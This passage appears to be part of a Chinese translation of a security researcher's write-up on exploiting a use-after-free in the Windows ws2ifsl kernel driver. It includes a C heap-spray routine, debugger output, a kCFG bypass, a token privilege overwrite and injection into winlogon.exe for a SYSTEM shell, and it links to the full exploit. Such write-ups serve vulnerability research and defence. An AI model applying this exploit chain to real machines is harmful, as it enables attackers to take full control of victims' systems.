堆喷射

接下来,我们来看看如何利用该漏洞

首先,我们需要知道缓冲区和分配池的大小。

在要释放的缓冲区上使用pool命令,我们可以看到它分配在Nonpaged pool上,大小为0×120字节。

1: kd> !pool ffff8b08905e9910

Pool page ffff8b08905e9910 region is Nonpaged pool

<..>

*ffff8b08905e9900 size:  120 previous size:    0  (Allocated) *Ws2P Process: ffff8b08a32e3080

        Owning component : Unknown (update pooltag.txt)

查看ws2ifsl!CreateProcessFile中分配的缓冲区,我们可以看到:

PAGE:00000001C00079ED mov     edx, 108h       ; size

PAGE:00000001C00079F2 mov     ecx, 200h       ; PoolType

PAGE:00000001C00079F7 mov     r8d, 'P2sW'     ; Tag

PAGE:00000001C00079FD call    cs:__imp_ExAllocatePoolWithQuotaTag

以下代码可用于为多个0×120字节的缓冲区分配用户控制的数据:

int doHeapSpray()

{

    for (size_t i = 0; i < 0x5000; i++)

    {

        HANDLE readPipe;

        HANDLE writePipe;

        DWORD resultLength;

        UCHAR payload[0x120 - 0x48];

        RtlFillMemory(payload, 0x120 - 0x48, 0x24);

 

        BOOL res = CreatePipe(&readPipe, &writePipe, NULLsizeof(payload));

 

        res = WriteFile(writePipe, payload, sizeof(payload), &resultLength, NULL);

    }  

    return 0;

}

如果我们将这个堆喷射合并到漏洞触发代码中,我们就能在nt!KiInsertQueueApc中触发一次漏洞检查,而程序崩溃是由于对“liked list”操作所引起的。

.text:00000001400A58F6 mov     rax, [rdx]

.text:00000001400A58F9 cmp     [rax+_LIST_ENTRY.Blink], rdx

.text:00000001400A58FD jnz     fail_fast

<..>

.text:00000001401DC2EA fail_fast:                              ; CODE XREF: KiInsertQueueApc+53↑j

.text:00000001401DC2EA                                         ; KiInsertQueueApc+95↑j ...

.text:00000001401DC2EA                 mov     ecx, 3

.text:00000001401DC2EF                 int     29h             ; Win8: RtlFailFast(ecx)

错误检查在命令int 29处执行,在检查发生崩溃的寄存器时,我们可以看到RAX寄存器指向的是我们控制的数据。

rax=ffff8b08905e82d0 rbx=0000000000000000 rcx=0000000000000003

rdx=ffff8b08a39c3128 rsi=0000000000000000 rdi=0000000000000000

rip=fffff8057489a2ef rsp=ffffde8268bfd4c8 rbp=ffffde8268bfd599

 r8=ffff8b08a39c3118  r9=fffff80574d87490 r10=fffff80574d87490

r11=0000000000000000 r12=0000000000000000 r13=0000000000000000

r14=0000000000000000 r15=0000000000000000

 

0: kd> dq ffff8b08905e82d0

ffff8b08`905e82d0  24242424`24242424 24242424`24242424

ffff8b08`905e82e0  24242424`24242424 24242424`24242424

ffff8b08`905e82f0  24242424`24242424 24242424`24242424

ffff8b08`905e8300  24242424`24242424 24242424`24242424

ffff8b08`905e8310  24242424`24242424 24242424`24242424

ffff8b08`905e8320  24242424`24242424 24242424`24242424

ffff8b08`905e8330  24242424`24242424 24242424`24242424

ffff8b08`905e8340  24242424`24242424 24242424`24242424

导致崩溃的调用栈如下:

0: kd> k

 # Child-SP          RetAddr           Call Site

00 ffffb780`3ac7e868 fffff804`334a90c2 nt!DbgBreakPointWithStatus

01 ffffb780`3ac7e870 fffff804`334a87b2 nt!KibugCheckDebugBreak+0x12

02 ffffb780`3ac7e8d0 fffff804`333c0dc7 nt!KeBugCheck2+0x952

03 ffffb780`3ac7efd0 fffff804`333d2ae9 nt!KeBugCheckEx+0x107

04 ffffb780`3ac7f010 fffff804`333d2f10 nt!KiBugCheckDispatch+0x69

05 ffffb780`3ac7f150 fffff804`333d12a5 nt!KiFastFailDispatch+0xd0

06 ffffb780`3ac7f330 fffff804`333dd2ef nt!KiRaiseSecurityCheckFailure+0x325

07 ffffb780`3ac7f4c8 fffff804`332cb84f nt!KiInsertQueueApc+0x136a87

08 ffffb780`3ac7f4d0 fffff804`3323ec58 nt!KiSchedulerApc+0x22f

09 ffffb780`3ac7f600 fffff804`333c5002 nt!KiDeliverApc+0x2e8

0a ffffb780`3ac7f6c0 fffff804`33804258 nt!KiApcInterrupt+0x2f2

0b ffffb780`3ac7f850 fffff804`333c867a nt!PspUserThreadStartup+0x48

0c ffffb780`3ac7f940 fffff804`333c85e0 nt!KiStartUserThread+0x2a

0d ffffb780`3ac7fa80 00007ff8`ed3ace50 nt!KiStartUserThreadReturn

0e 0000009e`93bffda8 00000000`00000000 ntdll!RtlUserThreadStart

上述代码中,因为主线程的突然终止而触发了错误检测,之所以会发生这种情况,是因为我们破坏的APC仍然在队列中,而断开连接操作可以处理损坏的数据。因为前后指针已损坏并且没有指向有效的链接列表,因此会引发安全断开检查。

KeRundownApcQueues

我们需要将释放的APC元素转换为有效的内容,在触发错误并重写旧的“prodata”之后,需要退出APC队列的线程。此时,内核将调用nt!KeRundownApcQueues函数并检查nt!KiFlushQueueApc!。

此时,我们就可以控制缓冲区的内容了,我们可以避免安全异常,因为链表的有效指针使用了一个指向“kthread”内部的值来检查。假如我们以中等完整性级别运行,那么使用SystemHandleInformation调用NtQuerySystemInformation则可能会泄漏“kthread”的地址。如果我们使用“kthread”地址来创建回收的“procData”,并且nt!KeRundownApcQueues尝试在“procData”对象中执行用户控制的函数指针,我们就可以避免触发错误检查了。

绕过kCFG

在我们控制了想要执行的函数指针之后,还有一个需要克服的小障碍。在中等完整性级别下,可以通过NtQuerySystemInformation / SystemModuleInformation泄漏所有加载模块的基地址。因此,我们现在至少知道可以将执行转移到何处。

但是,APC函数指针调用由Microsoft实现的CFI内核控制流保护。如果我们调用随机ROP gadget,内核会抛出一个错误检查。

幸运的是,从CFG的角度来看,函数序言都是有效的分支目标,因此我们知道可以调用什么而不必停止。在调用nt!KeRundownApcQueues函数指针时,第一个参数(rcx)指向“procData”缓冲区,第二个参数(rdx)为零。

我们可以使用的另一种可能性是通过调用本地函数NtTestAlert来调用APC函数指针。

当使用NtTestAlert调用APC函数指针时,第一个参数(rcx)指向“procData”缓冲区,第二个参数(rdx)也指向它。

在寻找一些小函数,根据给定的约束执行操作之后,我们找到了一个合适的对象:nt!SeSetAccessStateGenericMapping。

如下所示,nt!SeSetAccessStateGenericMapping可用于执行16字节的任意写入:

但是,这16个字节的后半部分未被完全控制,但是前8个字节是基于堆喷射所提供的数据。

令牌覆盖

在旧的Windows版本中,有很多技术可以将一个任意的写操作转换成一个完整的内核读写原语。最简单的方法是在启用所有位的情况下覆盖此结构的Present和Enabled成员。这将让我们获得SeDebugPrivilege特权,允许我们将代码注入到高特权进程中,比如说“winlogon.exe”。

获取系统权限

一旦我们将代码注入到了系统进程中,我们就可以运行“cmd.exe”,然后拿到交互式的shell。与此同时,我们还避免了kCFG和SMEP等许多问题,因为我们不执行ROP或在错误的上下文中执行任何ring0代码。

漏洞利用代码

Windows 10 19H1 x64:【点我获取

* 参考来源:bluefrostsecurity,FB小编Alpha_h4ck编译,转载请注明来自FreeBuf.COM

    内容分页 1 2
声明:本站所有文章,如无特殊说明或标注,均为本站原创发布。任何个人或组织,在未征得本站同意时,禁止复制、盗用、采集、发布本站内容到任何网站、书籍等各类媒体平台。如若本站内容侵犯了原著者的合法权益,可联系我们进行处理。